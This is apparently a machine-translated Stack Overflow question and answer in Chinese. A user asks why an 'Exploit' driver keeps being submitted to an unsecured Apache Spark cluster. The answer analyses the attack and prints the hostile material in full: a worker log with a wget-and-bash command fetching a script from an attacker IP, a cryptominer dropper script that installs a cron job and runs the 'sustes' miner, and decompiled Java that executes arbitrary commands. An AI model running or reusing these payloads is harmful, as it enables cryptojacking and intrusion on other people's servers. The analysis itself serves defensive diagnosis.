首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >提交带有利用类的驱动程序

提交带有利用类的驱动程序
EN

Stack Overflow用户
提问于 2018-08-15 18:51:14
回答 1查看 258关注 0票数 0

经过大量的搜索和研究,我在这里找到了帮助。问题是,一旦构建了一个火花集群(一个主服务器和4个具有不同IP地址的工作人员),每个执行者将不断提交“驱动程序”。从web中,我可以看到一个名为“利用漏洞”的类与“驱动程序”一起提交。web

以下是一位员工日志文件的头尾。

启动命令:“/usr/lib/jvm 1.8/jre/bin/java”"-cp“-cp "-Xmx1024M”"-Dspark.eventLog.enabled=true“"-Dspark.driver.supervise=false”"-Dspark.submit.deployMode=cluster“"-Dspark.app.name=Exploit”"-Dspark.jars=http://192.99.142.226:8220/Exploit.jar“"org.apache.spark.deploy.worker.DriverWrapper“://Worker@129.10.58.202:44717”"/home/labuser/spark/work/driver-20180815111311-0065/Exploit.jar“”利用"wget -O /var/tmp/a.sh http://192.99.142.248:8220/cron5.sh,bash /var/tmp/a.sh“漏洞 18/08/15 11:13:56调试ByteBufUtil:-Dio.netty.allocator.type:未合并18/08/15 11:13:56调试ByteBufUtil:-Dio.netty.threadLocalDirectBufferSize 18/08/15 11:13:56调试ByteBufUtil:-Dio.netty.maxThreadLocalCharBufferSize 18/08/15 11:13:56调试NetUtil:回环接口: lo0:0:0:0:0:0:0:0%lo) 18/08/15 11:13:56调试NetUtil: /proc/sys/net/core/somaxconn: 128 18/08/15 11:13:57调试TransportServer:洗牌服务器启动端口: 46034 18/08/15 11:13:57信息Utils:在端口46034上成功启动服务‘驱动程序’。WorkerWatcher: // worker @129.10.58.202:44717 18/08/15 11:13:58调试TransportClientFactory:创建到/129.10.58.202:44717的新连接18/08/15 11:13:59调试AbstractByteBuf:-Dio.netty.buffer.bytebuf.checkAccessible:真18/08/15 11:13:59调试ResourceLeakDetector:-Dio.netty.leakDetection.level:简单18/08/15 11:13:59调试ResourceLeakDetector:-Dio.netty.leakDetection.maxRecords: 4 18/08/15 11:13:59调试ResourceLeakDetectorFactory:已加载的默认ResourceLeakDetector: io.netty.util.ResourceLeakDetector@350d33b5 18/08/15 11:14:00调试TransportClientFactory:连接到/129.10.58.202:44717成功,运行鞋带..。18/08/15 11:14:00info TransportClientFactory:在1706 ms之后成功创建到/129.10.58.202:44717的连接(0 ms用于引导) 18/08/15 11:14:00信息WorkerWatcher:成功连接到火花://Worker@129.10.58.202:44717 18/08/15 11:14:00调试回收器:-Dio.netty.recycler.maxCapacity.default: 32768 18/08/15 11:14:00调试回收器:-Dio.netty.recycler.maxSharedCapacityFactor:18/08/15 11:14:00调试回收器:-Dio.netty.recycler.linkCapacity: 16 18/08/15 11:14:00调试回收程序:-Dio.netty.recycler.ratio: 8

我发现有一种“利用”代码通过利用任何人都可以向未经授权的星火集群提交应用程序这一事实来攻击火花集群。

在不安全的APACHE SPARK集群中执行任意代码

但我不认为我的集群被黑了。因为在采用授权模式后,这个问题仍然存在。

我的问题是还有谁有这个问题吗?为什么会发生这种事?

EN

回答 1

Stack Overflow用户

发布于 2018-08-15 20:06:31

这太令人震惊了!

首先,反编译的源代码显示驱动程序将执行通过参数提供给它的命令。在您的例子中,这个wget下载脚本到临时,然后执行它。

下载的脚本下载一个jpg并通过管道传输到bash。这不是图像

wget -q -O - http://192.99.142.248:8220/logo10.jpg | bash -sh

logo10.jpg包含一个cron作业,其中包含将在集群上运行的更多源代码。您可能会看到这个作业正在提交,因为它正在启动一个预定的作业。

代码语言:javascript
复制
#!/bin/sh
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json
wget -O /var/tmp/sustes http://192.99.142.248:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

反解源

代码语言:javascript
复制
public class Exploit {
    public Exploit() {
    }

    public static void main(String[] var0) throws Exception {
        String[] var1 = var0[0].split(",");
        String[] var2 = var1;
        int var3 = var1.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String var5 = var2[var4];
            System.out.println(var5);
            System.out.println(executeCommand(var5.trim()));
            System.out.println("==============================================");
        }

    }

    private static String executeCommand(String var0) {
        StringBuilder var1 = new StringBuilder();

        try {
            Process var2 = Runtime.getRuntime().exec(var0);
            var2.waitFor();
            BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));

            String var4;
            while((var4 = var3.readLine()) != null) {
                var1.append(var4).append("\n");
            }
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return var1.toString();
    }
}
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/51864705

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档